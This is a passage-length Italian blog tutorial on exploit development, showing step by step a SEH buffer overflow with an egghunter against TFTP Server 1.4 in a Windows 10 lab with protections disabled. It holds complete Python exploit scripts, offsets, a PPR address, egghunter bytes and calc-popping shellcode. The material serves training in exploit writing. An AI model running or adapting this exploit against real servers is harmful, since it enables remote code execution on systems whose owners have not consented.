Egghunter IV - TFTP Server 1.4

Tempo di lettura: 14 minuti
Data pubblicazione: December 13, 2022

Introduzione

Quarto articolo della serie Egghunter Buffer Overflow, target TFTP Server 1.4

Altri post in questa serie:

  1. Egghunter I - Vulnserver GMON
  2. Egghunter II - freeFTPd 1.0.10
  3. Egghunter III - Vulnserver KSTET
  4. Egghunter IV - TFTP Server 1.4
  5. Egghunter V - Sysax 5.3

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

TFTP Server 1.4

TFTP Server 1.4 è un server FTP utilizzato per lo sharing di file. Nel corso degli anni sono state trovate diverse vulnerabilità.

Crash Iniziale

Sappiamo che il server va in crash con il seguente comando

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 1600 # change me
payload = b"A" * CRASH_LEN

mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 1600

Aggiorniamo lo script

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 1600  # change me
payload = b"Aa0Aa1Aa2Aa3Aa4Aa.."

mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))

Guardiamo la chain

0:004> !exchain
0110ffcc: 33714232
Invalid exception stack at 71423171
0:004> !py mona po 71423171
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 71423171
Looking for q1Bq in pattern of 500000 bytes
- Pattern q1Bq (0x71423171) found in cyclic pattern at position 1264
Looking for q1Bq in pattern of 500000 bytes

[+] This mona.py action took 0:00:00.219000
0:004> !py mona po 33714232
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 33714232
Looking for 2Bq3 in pattern of 500000 bytes
- Pattern 2Bq3 (0x33714232) found in cyclic pattern at position 1268
Looking for 2Bq3 in pattern of 500000 bytes

[+] This mona.py action took 0:00:00.188000

Quindi NSEH è in posizione 1264 e SEH 1268. Aggiorniamo lo script per confermare la posizione

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 1600  # change me
OFFSET = 1264
payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += b"D" * (CRASH_LEN - len(payload))

mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

CRASH_LEN = 1600  # change me
OFFSET = 1264
payload = b"A" * OFFSET
payload += b"B" * 4
payload += b"C" * 4
payload += bad_chars
payload += b"D" * (CRASH_LEN - len(payload))

mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))

Tramite TEB e l’ExceptionList dumpo l’indirizzo di memoria su cui risiedono per vedere se c’è qualche bad char

0:004> !exchain
00feffcc: 43434343
Invalid exception stack at 42424242
0:004> db 00feffcc L100
00feffcc  42 42 42 42 43 43 43 43-01 02 03 04 05 06 07 08  BBBBCCCC........
00feffdc  09 0a 0b 0c 0d 0e 0f 10-11 12 13 14 15 16 17 18  ................
00feffec  19 1a 1b 1c 1d 1e 1f 20-21 22 23 24 25 26 27 28  ....... !"#$%&'(
00fefffc  29 2a 2b 2c 2d 2e 5c 30-31 32 33 34 35 36 37 38  )*+,-.\012345678
00ff000c  39 3a 3b 3c 3d 3e 3f 40-41 42 43 44 45 46 47 48  9:;<=>?@ABCDEFGH
00ff001c  49 4a 4b 4c 4d 4e 4f 50-51 52 53 54 55 56 57 58  IJKLMNOPQRSTUVWX
00ff002c  59 5a 5b 5c 5d 5e 5f 60-61 62 63 64 65 66 67 68  YZ[\]^_`abcdefgh
00ff003c  69 6a 6b 6c 6d 6e 6f 70-71 72 73 74 75 76 77 78  ijklmnopqrstuvwx
00ff004c  79 7a 7b 7c 7d 7e 7f 80-81 82 83 84 85 86 87 88  yz{|}~..........
00ff005c  89 8a 8b 8c 8d 8e 8f 90-91 92 93 94 95 96 97 98  ................
00ff006c  99 9a 9b 9c 9d 9e 9f a0-a1 a2 a3 a4 a5 a6 a7 a8  ................
00ff007c  a9 aa ab ac ad ae af b0-b1 b2 b3 b4 b5 b6 b7 b8  ................
00ff008c  b9 ba bb bc bd be bf c0-c1 c2 c3 c4 c5 c6 c7 c8  ................
00ff009c  c9 ca cb cc cd ce cf d0-d1 d2 d3 d4 d5 d6 d7 d8  ................
00ff00ac  d9 da db dc dd de df e0-e1 e2 e3 e4 e5 e6 e7 e8  ................
00ff00bc  e9 ea eb ec ed ee ef f0-f1 f2 f3 f4 f5 f6 f7 f8  ................

Essendo un SEH, ciò che faccio adesso è cercare un PPR ed inserire uno short jump per arrivare nel (poco) spazio che abbiamo a disposizione.

POP POP RET

Cerco un PPR con mona

0:004> !py mona seh 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py seh

---------- Mona command started on 2022-09-17 08:56:05 (v2.0, rev 616) ----------
....
[+] Results : 
0x00402b8c |   0x00402b8c : pop edi # pop ebp # ret 0x08 | startnull {PAGE_EXECUTE_READ} [TFTPServerSP.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\TFTPServer\TFTPServerSP.exe)
0x00409605 |   0x00409605 : pop ebx # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [TFTPServerSP.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\TFTPServer\TFTPServerSP.exe)
0x00409610 |   0x00409610 : pop ebx # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [TFTPServerSP.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\TFTPServer\TFTPServerSP.exe)
0x0040961c |   0x0040961c : pop ebx # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [TFTPServerSP.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\TFTPServer\TFTPServerSP.exe)
0x00409655 |   0x00409655 : pop ebx # pop ebp # ret  | startnull {PAGE_EXECUTE_READ} [TFTPServerSP.exe] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\TFTPServer\TFTPServerSP.exe)

Iniziano tutti con \x00, vediamo come si comporta se inseriamo il null byte. Aggiorno lo script, metto bp su 0x00409605 e lancio

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 1600  # change me
OFFSET = 1264
payload = b"A" * OFFSET
payload += struct.pack("<I",0x06eb9090) #nseh
payload += struct.pack("<I",0x00409605) #seh PPR
payload += b"D" * (CRASH_LEN - len(payload))

mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))
0:004> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=00409605 edx=77115b10 esi=00000000 edi=00000000
eip=00409605 esp=00f7f3c0 ebp=00f7f3e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x9605:
00409605 5b              pop     ebx

0:004> p
eax=00000000 ebx=77115af2 ecx=00409605 edx=77115b10 esi=00000000 edi=00000000
eip=00409606 esp=00f7f3c4 ebp=00f7f3e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x9606:
00409606 5d              pop     ebp

0:004> p
eax=00000000 ebx=77115af2 ecx=00409605 edx=77115b10 esi=00000000 edi=00000000
eip=00409607 esp=00f7f3c8 ebp=00f7f4c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
TFTPServerSP+0x9607:
00409607 c3              ret

0:004> p
eax=00000000 ebx=77115af2 ecx=00409605 edx=77115b10 esi=00000000 edi=00000000
eip=00f7ffcc esp=00f7f3cc ebp=00f7f4c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00f7ffcc 90              nop

0:004> p
eax=00000000 ebx=77115af2 ecx=00409605 edx=77115b10 esi=00000000 edi=00000000
eip=00f7ffcd esp=00f7f3cc ebp=00f7f4c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00f7ffcd 90              nop

0:004> p
eax=00000000 ebx=77115af2 ecx=00409605 edx=77115b10 esi=00000000 edi=00000000
eip=00f7ffce esp=00f7f3cc ebp=00f7f4c0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
00f7ffce eb06            jmp     00f7ffd6

0:004> db 00f7ffd6
00f7ffd6  0e 31 00 00 00 00 ec ff-f7 00 89 26 09 77 ff ff  .1.........&.w..
00f7ffe6  ff ff 74 5c 11 77 00 00-00 00 00 00 00 00 a0 25  ..t\.w.........%
00f7fff6  e8 75 10 8e 0b 00 00 00-00 00 3e dd bd 41 19 bd  .u........>..A..
00f80006  01 01 ee ff ee ff 02 00-00 00 a4 00 d7 00 10 00  ................
00f80016  d7 00 00 00 d7 00 00 00-f8 00 ff 00 00 00 40 00  ..............@.
00f80026  f8 00 00 f0 07 01 ee 00-00 00 01 00 00 00 00 00  ................
00f80036  00 00 f0 0f f9 00 f0 0f-f9 00 cf c2 bd af 11 bd  ................
00f80046  01 0c 00 02 41 41 41 41-41 41 41 41 41 41 41 41  ....AAAAAAAAAAAA

Ci accorgiamo che dopo il PPR non c’è più nulla. Questo perché l’indirizzo contiene \x00 e elimina tutto ciò che viene dopo. Possiamo però modificare il flusso in maniera diversa, ossia quella di inserire uno short jump invece che in avanti di 8, indietro di 100.

Egghunter

Calcolo l’opcode

nasm > jmp short -100
00000000  EB9A              jmp short 0xffffff9c

Aggiorno lo script

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 1600  # change me
OFFSET = 1264
payload = b"A" * (OFFSET - 100)
payload += b"B" * 100
payload += struct.pack("<I",0x9aeb9090) #nseh
payload += struct.pack("<I",0x00409605) #seh PPR
payload += b"D" * (CRASH_LEN - len(payload))


mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))

Ed ecco che ho 97 byte disponibili per inserire il mio egghunter. Vado a crearlo con il solito script.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

CRASH_LEN = 1600  # change me
OFFSET = 1264
payload = b"A" * (OFFSET - 100)
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) #nseh
payload += struct.pack("<I",0x00409605) #seh PPR
payload += b"D" * (CRASH_LEN - len(payload))

mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))

E sembra che ci sia tutto

0:004> db eip
010dffa7  90 90 66 81 ca ff 0f 42-52 31 c0 66 05 c6 01 cd  ..f....BR1.f....
010dffb7  2e 3c 05 5a 74 ec b8 63-30 64 33 89 d7 af 75 e7  .<.Zt..c0d3...u.
010dffc7  af 75 e4 ff e7 90 90 eb-9a 05 96 40 00 83 9d 4c  .u.........@...L
010dffd7  5e 00 00 00 00 ec ff 0d-01 89 26 09 77 ff ff ff  ^.........&.w...
010dffe7  ff 67 5c 11 77 00 00 00-00 00 00 00 00 a0 25 e8  .g\.w.........%.
010dfff7  75 18 8a 0d 00 00 00 00-00 ?? ?? ?? ?? ?? ?? ??  u........???????
010e0007  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????
010e0017  ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??  ????????????????

Exploit

Ora non ci rimane che:

  1. Inserire il tag c0d3c0d3 all’inizio del payload
  2. Aggiungere lo shellcode
  3. Metterci in ascolto sulla porta dalla kali

Ricordo che con il debugger attaccato l’egghunter potrebbe non funzionare, quindi è meglio fare senza. Aggiorniamo ed eseguiamo lo script

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 69
target = (TARGET_IP, TARGET_PORT) 

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

shellcode = b"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7"  
CRASH_LEN = 1600  # change me
OFFSET = 1264

payload = b"c0d3c0d3" # 8 bytes
payload += shellcode 
payload += b"A" * (OFFSET - 100 - 8 - len(shellcode))
payload += b"\x90" * (100 - len(egghunter))
payload += egghunter
payload += struct.pack("<I",0x9aeb9090) #nseh - jump -100
payload += struct.pack("<I",0x00409605) #seh PPR
payload += b"D" * (CRASH_LEN - len(payload))

mode = b"netascii"
packet = b"\x00\x02" + payload + b"\x00" + mode + b"\x00"

s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(packet, (TARGET_IP, TARGET_PORT))

#calc.exe W10 x86

Come exploit non è per nulla affidabile, non sono riuscito a capire come mai, ma con una reverse shell l’eseguibile crasha, mentre inserendo calc.exe viene eseguito ma poi killato un attimo dopo. Se trovate una soluzione migliore, fatemelo pure sapere nei contatti!

Conclusioni

Alcune risorse utili:

  1. http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf
  2. https://www.corelan.be/index.php/2010/01/09/exploit-writing-tutorial-part-8-win32-egg-hunting/
  3. https://fuzzysecurity.com/tutorials/expDev/4.html
  4. https://www.secpod.com/blog/hunting-the-egg-egg-hunter/
  5. https://sec4us.com.br/cheatsheet/bufferoverflow-egghunting
  6. https://github.com/epi052/osed-scripts/blob/main/egghunter.py